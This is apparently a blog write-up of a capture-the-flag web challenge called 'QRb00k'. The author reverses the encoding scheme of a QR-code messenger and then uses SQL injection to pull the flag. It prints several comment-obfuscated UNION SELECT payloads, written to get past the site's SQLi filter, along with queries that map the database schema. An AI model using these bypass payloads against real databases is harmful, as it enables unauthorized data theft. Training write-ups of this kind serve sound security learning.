Description:
Task: QRb00k – Russia – W3b – 400
The secured messenger was developed in Canada, it’s using systems with qr keys for communicating, it allows to read other people’s messages only to this key holders. But is it true? And you have to figure it out …
http://hack-quest.com
This was a very good web challenge. It took me quite a time to fully understand it but was absolutely worth of its 400 points.
Starting the challenge we are given with a messenger site that uses QR codes to communicate. The site has two main pages:
- Create – which creates QR code from a given name and message
- Read – an upload form to upload QR code and read the message inside
So let’s create a message:
We got a QR code which is the key to read our message:
Now let’s read the message using the QR code:
Ok, it all worked as it supposed to. I used the zxing service to view the content of the QR code:
Look at the raw text. It’s a short string that looks like it was base64 encoded. But wait, base64 can’t begin with “==”! Those characters usually appear at the end of base64 encoded strings. Is it reversed? Let’s check:
>>> "==QehRXS"[::-1].decode('base64') 'Itay'
Yes! it indeed was reversed. our key (QR code) is created by: QR(Reverse(Base64(name))).
Ok, now that we understand the mechanics we can let the party begin and start playing with SQL Injection. In order to create the QR codes I used this site, It was faster than using the challenge site.
I began with the obvious: ‘ or 1=1–
Whoops, Busted. The system recognized my SQLi attack. I tried some filter bypassing methods and succeeded with this input:
'/*..*/union/*..*/select/*..*/database()/*..*/union/*..*/select/*..*/'Megabeets
Reverse(Base64(input)) == “==wc0VWZiF2Zl10JvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8SKoU2chJWY0FGZvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8yJ”
It worked! now let’s find the correct table (“messages”) and column by using some queries to map the database:
QR(Reverse(Base64(input))) == “zRXZlJWYnVWTn8iKu4iKvQ3YlxWZz9iKu4iKv42bp5WdvoiLuoyLnMXZnF2czVWbn8iKu4iKvU2apx2Lq4iLq8SZtFmbfVGbiFGdvoiLuoyLlJXZod3Lq4iLq8ycu1Wds92YuEWblh2Yz9lbvlGdh1mcvZmbp9iKu4iKv02byZ2Lq4iLq8SKl1WYu9lbtVHbvNGK0F2Yu92YfBXdvJ3ZvoiLuoyL0NWZsV2cvoiLuoyLu9WauV3Lq4iLq8yJ”
'/*..*/union/*..*/select/*..*/group_concat(column_name)/*..*/from/*..*/information_schema.columns/*..*/where/*..*/table_name/*..*/like/*..*/'messages'/*..*/union/*..*/select/*..*/'Megabeets
“secret_field”? Sounds suspicious. Let’s query it and see what it contains:
'/*..*/union/*..*/select/*..*/secret_field/*..*/from/*..*/messages/*..*/union/*..*/select/*..*/'Megabeets
And we got the flag! I honestly really enjoyed this challenge.
Flag: h4ck1t{I_h@ck3d_qR_m3Ss@g3r}
If you have any questions feel free to ask 🙂
Great writeup, smart use of concat for union!
Thanks!